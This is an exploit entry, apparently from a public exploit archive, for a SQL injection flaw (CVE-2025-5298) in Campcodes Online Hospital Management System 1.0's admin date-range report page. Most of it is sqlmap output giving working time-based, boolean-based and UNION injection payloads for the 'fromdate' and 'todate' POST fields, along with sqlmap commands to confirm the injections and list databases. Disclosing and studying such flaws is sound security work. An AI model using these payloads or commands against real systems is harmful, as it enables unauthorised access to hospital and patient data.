# Exploit Title: Campcodes Online Hospital Management System 1.0 - SQL Injection
# Google Dork: N/A
# Exploit Author: Carine Constantino
# Vendor Homepage: https://www.campcodes.com
# Software Link: https://www.campcodes.com/projects/online-hospital-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Linux - Ubuntu Ubuntu 23.10 
# CVE: CVE-2025-5298

# Campcodes Online Hospital Management System 1.0 is vulnerable to SQL Injection
# The report in admin/betweendates-detailsreports.php does not validate ‘fromdate’ and ‘todate’ fields
#  And allows the processing of SQL Injection queries of the types: 

# blind time-based in the ‘fromdate’ field 
# boolean-based in the ‘todate’ field
# Union Query in the ‘todate’ field

‘fromdate’ field is vulnerable to SQL Injection on reports accessed on “/admin/betweendates-detailsreports.php” from POST request

=======================================|| Blind Time Based - ‘fromdate’ field ||==============================================

SQLMap identified the following injection payload: 

Parameter: fromdate (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: fromdate=2019-01-01' AND (SELECT 5962 FROM (SELECT(SLEEP(5)))danz) AND 'awPP'='awPP&todate=2025-05-28&submit=

SQLMap first command to confirm the vulnerability: “sqlmap -r request.txt -p fromdate --dbs --random-agent --technique=T”


=======================================|| Boolean Based - ‘todate’ field ||==============================================

‘todate’ field is vulnerable to SQL Injection on reports accessed on “/admin/betweendates-detailsreports.php” from POST request
SQLMap identified the following injection payload: 

Parameter: todate (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: fromdate=2019-01-01&todate=2025-05-28' AND 3290=3290 AND 'yOfc'='yOfc&submit=

SQLMap first command to confirm the vulnerability: “sqlmap -r request.txt -p todate --dbs --random-agent --technique=B”

=======================================|| Union Query - ‘todate’ field ||==============================================

Another technique on ‘todate’ field can be exploited
SQLMap identified the following injection payload: 

Parameter: todate (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: fromdate=2019-01-01&todate=2025-05-28' UNION ALL SELECT CONCAT(CONCAT('qkpxq','eLwmjRlXmPYByrACqjbUDqzOqYmBeKwQSUSMNXdM'),'qzzbq'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ckvh&submit=
